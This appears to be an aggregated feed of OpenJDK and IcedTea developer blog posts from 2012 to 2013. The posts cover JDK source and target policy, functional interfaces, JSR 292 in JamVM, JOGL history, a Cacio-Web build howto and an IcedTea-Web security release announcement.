In JDK 9, source and target options for 1.5 and below will be removed (8011044).
Starting in JDK 9, a "one plus three back" policy will apply to source and target options. JDK 9 will support (9/1.9, 8/1.8, 7/1.7, 6/1.6) and JDK 10 will support (10/1.10, 9/1.9, 8/1.8, 7/1.7) and so on.

Removing support for the old options will ease compiler maintenance in several ways. First, there will be direct benefits from allowing some code to be deleted. Nixing jsr14 allowed about 250 lines of code to be excised. Second, fewer interactions between new language features and old source levels need to be handled in the compiler. The Java Language Specification only deals with a single version of the language and there is no formal specification of many aspects of how a Java compiler is supposed to behave. To use a recent example, there is no specification for how a new-in-8 default method being introduced to the language and core libraries by Project Lambda should appear to code being compiled under, say, -source 6. Limiting the span of source and target version supported reduces the need to define such cross-version interactions. (The practical impact of source cross-version interfaces would be greatly reduced if developers more often follwed the recommended practice of setting the bootclasspath when cross-compiling to an older platform version.)

This policy will help balance stability versus progress and should cover releases having public updates when a new JDK is released.

Dalibor Topic: CFP Time: PPPJ

Fri, 05 Apr 2013 13:51:25 +0000

The 2013 International Conference on Principles and Practices of Programming on the Java platform: Virtual machines, languages and tools takes place in Stuttgart, Germany, just a few weeks ahead of JavaOne. They have already announced a couple of interesting keynotes on Kotlin, Truffle and Lambdas.

The Call for Papers can be found here.

Mario Torre: Cheers, Mark!

Mon, 01 Apr 2013 15:15:54 +0000

Really the last person I would have ever expected to see with a red hat. Cheers Mark!

Jonathan Gibbons: jtreg to embrace Perl, PHP and Python

Mon, 01 Apr 2013 07:01:00 +0000

Now that OpenJDK has an improved new build system, it is time to re-examine our test infrastructure with a view to gaining similar improvements for writing and running tests.

We have an ongoing problem with test reliability. Part of the issue is that we write our tests in Java, which apparently, and regrettably, has bugs in it. (Otherwise, why would we be testing it?) With the recent progress in Java scripting technology over the past couple of years, we should convert all our tests to use a scripting language. Although, we currently specify the use of Bourne shell, there are too many evolutionary variants of that, and so it is proposed we instead use Perl for all our test code. Of course, there are different versions of Perl, and so users will have to run a configure script ahead of time to determine if they have enough versions of Perl available on their system, and to recommend how to compile additional versions if necessary.

From early days, JavaTest, jtharness and jtreg have embraced the web, providing HTML reports, support for an HTTP server to be available while tests are running, and servlets to display test results in full color, eliminating the need for thousands of words. We should build on those ideas and embrace web-based test execution and reporting using a new PHP-based back-end for jtreg.

Finally, we should rewrite jtreg itself in Python. This will facilitate easy integration into our work flow as a Mercurial extension. Initially, this can be provided as "hg test" but the long term goal is to integrate jtreg functionality into jcheck, so that all appropriate tests are run automatically before any code can be pushed to a jcheck-controlled forest.

Andrew Cowie: http-streams 0.4.0 released

Sat, 23 Mar 2013 14:22:54 +0000

Quick update to http-streams, making a requested API change to the signature of the buildRequest function as well as pushing out some bug fixes and performance improvements.

You no longer need to pass the Connection object when composing a Request, meaning you can prepare it before opening the connection to the target web server. The required HTTP 1.1 Host: header is added when sendRequest is called, when the request is written to the server. If you need to see the value of the Host: field that will be sent (ie when debugging) you can call the getHostname function.

I’ve added an “API Change Log” to the README file on GitHub, and the blog post introducing http-streams has been updated reflect the signature change.

Thanks to Jeffrey Chu for his contributions and to Gregory Collins for his advice on performance improvement; this second release is about 9% faster than the original.

AfC

Andrew Overholt: The Saga of the Horse Head (mask)

Tue, 12 Mar 2013 19:55:21 +0000

As johnath blogged, we’ve had a bit of a conversation going with the office across from us. I wanted to add a few more photos and a video that I took.

mconley arrives with the package

I believe at this point they are reading the label

Is this what I think it is? It is!

Mask modelling

(link to the video in case Planet doesn’t like the iframe)

Mario Torre: Happy Birthday :)

Fri, 01 Mar 2013 11:56:58 +0000

Today marks one year at Red Hat for me (in fact, I started on 29th of February, so in reality my first year will be in 3 years from now, weird :)

It was a superb year, Red Hat confirms to be one of the best company one can desire to work with, it's challenging, interesting and fun.

And of course, I have the best possible team mates I can desire!

I'm waiting forward for another great year, new projects, new challenges. And all in the Open!

Joe Darcy: Functional Interfaces

Thu, 21 Feb 2013 21:01:03 +0000

As part of Project Lambda, after discussion with the JSR 335 expert group, we decided to add a FunctionalInterface annotation type to the platform. To a first approximation, functional interfaces are those interface types which define only a single method and are therefore usable in lambda expressions. (There are some tricky details in the definition of a functional interface relating to generics and also some details about excluding from consideration methods defined on java.lang.Object.) The new annotation type allows a library designer to clearly indicate the property of intending an interface type to be used with lambda expressions along with an implied commitment to keep that property true in the future. However, the compiler will allow any interface type meeting the structural properties of a functional interface to be used for a lambda expression regardless of whether or not the interface has a @FunctionalInterface annotation.

They types being added in the java.util.function package are by design functional interfaces and can be annotated with @FunctionalInterface from early days. However, many existing Java SE types are also functional interfaces and we want to identify and annotate those appropriately too. To find those candidate interfaces to be annotated, I ran an annotation processor over the code, using the same methodology as used to find Closeable candidates during JDK 7.

A significant number of candidates were found throughout the JDK. After suitable discussion and review, the first batch of core libraries changes have been pushed. Analogous discussions have been started in the 2D, awt, and swing areas.

For guidance in retrofitting @FunctionalInterface to an existing candidate type, if the type is routinely instantiated using an anonymous class, it is a good candidate for being annotated with @FunctionalInterface.

Xerxes Rånby: The JogAmp community now maintains JOGL and Java3D

Tue, 19 Feb 2013 22:59:34 +0000

2008: Sun Microsystems invested heavily into using hardware acceleration on mobile devices using JOGL. This was the foundation to get JavaFX 1.3 running across devices. Video of James Gosling, Ken Russell and Sven Gothel on stage at JavaOne 2008 keynote http://www.youtube.com/watch?v=DeupVAMnvFA.
Ken Russel later wrote his last Sun blog-post that covers the technology demonstrated in this first OpenGL ES 2 JOGL demonstration: https://blogs.oracle.com/kbr/entry/java_on_the_nvidia_apx.
Later during the same year Sven Gothel demonstrated hardware accelerated OpenMAX video decoding on the same Tegra 1 mobile device using the new re-architectured JOGL 2 with stellar mobile support: http://www.youtube.com/watch?v=D6Lkw3eZK1w

2009: The core members of the JOGL and Java3D team left Sun before Oracle took over and forked JOGL.
http://jausoft.com/blog/2009/11/09/jogl-is-dead-long-live-jogl/
http://www.java-gaming.org/index.php/topic,21516.0.html

2010: The JogAmp community was created.

2011: Oracle Gives up on Java3D (and JOGL) for RIA (Webstart and Applets)
The Oracle decision to remove all signed Java3D and JOGL builds from their servers, and hence break all existing online Java3D/JOGL applications using the SUN/Oracle builds, this have only been mentioned by Oracle inside the java.net support forum.
Fortunately JOGL and Java3D was originally released under a BSD license so it was possible for the community to keep-on maintaining the bindings and provide JogAmp signed builds.

2012: Oracle work on flushing out its own use of JOGL in JavaFX by removing jogl-prism. Oracle no longer give programmers direct access to OpenGL using their APIs.
Oracle announced during JavaOne 2012 that Oracle would like to get help from the community to port JavaFX to new platforms under the OpenJFX project. Surely the community can help by re-implement jogl-prism and adding raw JOGL support into OpenJFX to ease future OpenJFX porting efforts.

Xerxes Rånby demonstrates JogAmp Java JOGL OpenGL ES bindings, at Linaro Connect LCE12 demo friday, across devices.

JOGL v2 is actively maintained by the JogAmp community.

JOGL v2 now runs on the latest GPU cores and work on top of any JVM. JOGL v2 contains its own platform independent NEWT windowing toolkit. NEWT applications targeting the GL2ES2 or GL2ES1 profile, both using a common subset of OpenGL and ES calls, can be deployed across different platforms and devices from desktop to mobile without code change.
http://jogamp.org
http://jogamp.org/doc – Documentation, slides, and videorecording from the latest live JogAmp demonstrations

Java3D is now also maintained by some members of the JogAmp community.

http://forum.jogamp.org/java3d-f3728156.html
hharrison now maintain Java3D on github
Julien Gouesse: Java 3D est de retour [Java 3D is back]

Xerxes Rånby: Valentine news update, v3 is the new <3, #OpenGL ES 2/3 drivers and #OpenCL #ARM special

Fri, 15 Feb 2013 12:53:24 +0000

OpenGL ES 2 drivers

Excellent post by cnx-software listing all the reverse engineering effort put into bringing opensource ARM GPU drivers to GNU/Linux.
http://www.cnx-software.com/2013/02/14/open-arm-gpu-drivers-fosdem-2013-video-and-call-to-arm-management/
The post links and embeds libv’s excellent FOSDEM 2013 reverse engineering ARM GPU driver talk.
The lima and freedreno reverse engineered drivers are both now known to be able to run Quake 3. The lima driver is now actually faster than the closed source ARM Mali driver!

http://libv.livejournal.com/24092.html – Hey ARM!
We are not going away, we are here to stay. We cannot be silenced or stopped anymore, and we are becoming harder and harder to ignore.

It is only a matter of time before we produce an open source graphics driver stack which rivals your binary in performance. And that time is measured in weeks and months now. The requests from your own customers, for support for this open source stack, will only grow louder and louder.

So please, stop fighting us. Embrace us. Work with us. Your customers and shareholders will love you for it.

– libv.

OpenGL ES 3 drivers

Intel have taking the lead and released all their OpenGL ES 3 driver code into Mesa
http://linux.slashdot.org/story/13/02/13/1756208/intel-supports-opengl-es-30-on-linux-before-windows
http://www.phoronix.com/scan.php?page=news_item&px=MTMwMDg

http://cgit.freedesktop.org/mesa/mesa/log/?h=gles3 – this is how you should work, kudos to Intel.

OpenCL ARM GPU drivers

Android have for a long time refused vendors to ship ARM OpenCL drivers on Google approved Android devices.
http://code.google.com/p/android/issues/detail?id=36361 – Android lead Declined Support for OpenCL
Over night everything changed:
Google ships secret #ARM #MALI T-604 #OpenCL driver in Nexus 10 to accelerate Renderscript.
http://www.youtube.com/watch?v=GrqKJehawr8
http://beyond3d.com/showthread.php?t=63071
The OpenCL SDK for ARM Mali is now available! http://bit.ly/YOS1YA #opencl #gpu @ARMMultimedia
OpenCL drivers for Samsung Exynos 5 board landed here: http://streamcomputing.eu/knowledge/sdks/samsung-exynos-5-board/
Also the Zii labs ZMS line supports CL http://codedivine.org/2013/02/01/renderscript-from-the-perspective-of-an-openclcudac-amp-programmer/
Amazon android line is rumored to support CL as well…

So with all these new news surfacing it looks like ARM devices running the new T-604 MALI GPU will have OpenCL drivers especially the Google Nexus 10 tablet that is reported to include the drivers in the stock install!
So this means we now have a good way to hardware accelerate FFT on ARM using OpenCL!
I want to use #OpenCL on #ARM to do fast live music #FFT analysis for better jazz music on the go
http://www.jazzperiments.com/jazzperiments.html

JogAmp update

JogAmp have implemented OpenCL bindings on GNU/LInux and packaged .apk for Android feel free to jump in and help with testing on real devices!
The current priority list for JogAmp OpenCL and OpenGL ES 3 integration is found inside the forum: http://forum.jogamp.org/JInput-Delivery-tp4028209p4028210.html

Cheers and have a great twitter valentine tweet day!
v3 is the new <3
Xerxes

Roman Kennke: FOSDEM 2013

Thu, 17 Jan 2013 14:08:12 +0000

The last couple of years, I had to pass FOSDEM, for various reasons. I am very very happy that I finally sorted things out for this years FOSDEM, and I’m ready to go (hotel and trains booked). I will do a presentation about my Shark & Zero work on Saturday afternoon, and co-present Thermostat with Mario on Sunday noon, both in the Java dev room.

FOSDEM is one of those rare events in my life about which I can say that it had a very significant impact. I wouldn’t be where I am today, if I hadn’t attended it a few years ago. I am very happy that I can finally go there again, and meet lots of old and new friends and collegues. See you there, and cheers!

Robert Lougher: The long and winding road of JSR 292

Mon, 31 Dec 2012 23:12:29 +0000

As the biggest change to the JVM since the introduction of Java, I've been acutely aware that I can't ignore JSR 292 and simply leave it unimplemented in JamVM. This has been reinforced recently by announcements such as Nashorn that indicate that more and more developments in the future will require JSR 292.

However, my record of implementing it has been dismal. I first started about this time last year (end of December 2011). At the time I hoped to get it finished for FOSDEM in February. This was a tall order, but by FOSDEM I had invokeExact working, and could run several simple examples (all with OpenJDK 7). I understood the general framework, and the way in which method handles were chained together (invocation involved following the chain, performing transformations along the way, until the final target method was reached).

The problem was the number of transformations the VM needed to implement. Certain ones such as unboxing (REF_TO_PRIM) and retyping were straight-forward. But more complex ones such as argument spreading were extremely time consuming, and there were even more exotic ones requiring "ricochet frames" (I never did work out exactly what they were). Anyway, I didn't deliberately abandon the work, I just stopped and didn't touch JamVM for 6 months.

The breakthrough came from reading Roman Kennke's blog of getting Zero working with OpenJDK 8. Of particular interest was the removal of the adapter code from Zero (like JamVM, it was incomplete). It was no longer needed as the transformations are now done in Java, via LambdaForms. These are compiled into bytecodes via the JSR 292 runtime, again coded in Java.

So the main stumbling block of my last attempt was gone. However, unlike with Zero, in addition to invokedynamic the rest of the JSR 292 support within the VM has to be implemented (class file changes, resolution of method handles/types, call site bootstrap methods, stack walking, field injection, etc.). It's taken a couple of weeks work, with a lot of debugging over Christmas (it's been so wet in the UK there's been nothing much else to do) but all but one of the jtreg tests for java.lang.invoke pass. In fact, all tests were passing until I updated my sources a few days ago and found an extra 6 tests.

Passed: java/lang/invoke/6987555/Test6987555.java
Passed: java/lang/invoke/6991596/Test6991596.java
Passed: java/lang/invoke/6998541/Test6998541.java
Passed: java/lang/invoke/7157574/Test7157574.java
Passed: java/lang/invoke/7196190/ClassForNameTest.java
FAILED: java/lang/invoke/7196190/GetUnsafeTest.java
Passed: java/lang/invoke/7196190/MHProxyTest.java
Passed: java/lang/invoke/lambda/LambdaAccessControlDoPrivilegedTest.java
Passed: java/lang/invoke/lambda/LambdaAccessControlTest.java
Passed: java/lang/invoke/AccessControlTest.java
Passed: java/lang/invoke/BigArityTest.java
Passed: java/lang/invoke/CallSiteTest.java
Passed: java/lang/invoke/ClassValueTest.java
Passed: java/lang/invoke/InvokeDynamicPrintArgs.java
Passed: java/lang/invoke/InvokeGenericTest.java
Passed: java/lang/invoke/JavaDocExamplesTest.java
Passed: java/lang/invoke/MethodHandlesTest.java
Passed: java/lang/invoke/MethodTypeTest.java
Passed: java/lang/invoke/PermuteArgsTest.java
Passed: java/lang/invoke/PrivateInvokeTest.java
Passed: java/lang/invoke/RicochetTest.java
Passed: java/lang/invoke/ThrowExceptionsTest.java
Test results: passed: 21; failed: 1

The changes aren't pushed to git yet, as JamVM will currently only work with OpenJDK 8. Getting it to work with OpenJDK 6/7 (without JSR 292) won't be difficult, but GNU Classpath will be more tricky.

Roman Kennke: Quick Cacio-Web howto

Wed, 12 Dec 2012 15:40:42 +0000

Today we released Caciocavallo 1.3. The release announcement can be found here.

However, what is the more important news is that after the release, I fixed Cacio-Web to work with the latest Cacio build and enabled it in the default build so it doesn’t fall to the wayside again. On popular request I would like to summarize how to get Cacio-Web running. Note that this currently only works on Linux (patches to enable this on other platforms are welcome!)

First of all, check out the source code (the cacio-web changes are not yet released):

hg clone http://hg.openjdk.java.net/caciocavallo/ng/ caciocavallo

Then build it (you need Maven!):

cd caciocavallo
mvn clean install

And finally you should be able to run with with something like this:

java -Dcacio.web.port=9091 -cp cacio-web/target/cacio-web-1.4-SNAPSHOT-jar-with-dependencies.jar:/home/rkennke/src/test/SwingSet2.jar net.java.openjdk.cacio.server.CacioServer

The -Dcacio.web.port parameter specifies on which port should Cacio-Web listen. Notice that the classpath needs to include your application (SwingSet2.jar in this case).

Then point your browser to a URL like this:

http://localhost:9091/SessionInitializer?cls=SwingSet2

Where the parameter cls specifies the (fully qualified) name of the main class of the application to start.

Please let me know if you run into any problems.

Deepak Bhole: IcedTea-Web 1.1.7, 1.2.2 and 1.3.1 [security releases] released!

Wed, 07 Nov 2012 18:15:41 +0000

A potential heap buffer overflow issue has been found and fixed in
IcedTea-Web. It is recommended that all IcedTea-Web users update to this
new version.

We would like to thank Arthur Gerkis for reporting this issue.

The fixed issue is:
RH869040, CVE-2012-4540: Heap-based buffer overflow after triggering event attached to applet

Other fixes are listed in the NEWS files:
1.1.7 NEWS file
1.2.2 NEWS file
1.3.1 NEWS file

Please note that this will be the last 1.1.x release as we are not aware
of any distribution currently using 1.1.

The following people helped with these releases:
Adam Domurad
Omair Majid
Saad Mohammad
Jiri Vanek

Checksums:
709ef1880e259d0d0661d57323448e03524153fe3ade21366d55aff5a49608bb icedtea-web-1.1.7.tar.gz
e9e3c3dc413b01b965c0fc7fdc73d89683ffe1422ca7fd218c98debab9bdb675 icedtea-web-1.2.2.tar.gz
20c7fd1eef6c79cbc6478bb01236a3eb2f0af6184eaed24baca59a3c37eafb56 icedtea-web-1.3.1.tar.gz

Download links:
http://icedtea.classpath.org/download/source/icedtea-web-1.1.7.tar.gz
http://icedtea.classpath.org/download/source/icedtea-web-1.2.2.tar.gz
http://icedtea.classpath.org/download/source/icedtea-web-1.3.1.tar.gz

After extracting, it can be built as per instructions here:
http://icedtea.classpath.org/wiki/IcedTea-Web#Building_IcedTea-Web

David Gilbert: The Rise of Chrome

Thu, 01 Nov 2012 20:36:17 +0000

I was a bit surprised last week when a colleague told me that Chrome (the web browser) now has greater than 40% market share. Last time I saw figures, admittedly some time ago, it was running at about 20%. Anyway, I looked it up and found this source:

http://www.w3schools.com/browsers/browsers_stats.asp

The rise of Chrome is certainly impressive, and also interesting in that data is the long fall of Internet Explorer. The dataset, of course, may not provide a good representation of global usage (it is based on visitor logs for W3C only)...if you know of better, or just alternative, data I'd be interested to know the source, for comparison.

I'm always on the lookout for interesting data sets to use for the JFreeChart demo collection, so I created this chart based on a subset of the browser data:

I like this chart, and will most likely try to keep it up-to-date in the coming months. If I can find some data that splits out desktop vs mobile browsing, that would be interesting as well. In the meantime, I'll go and give Chrome another try.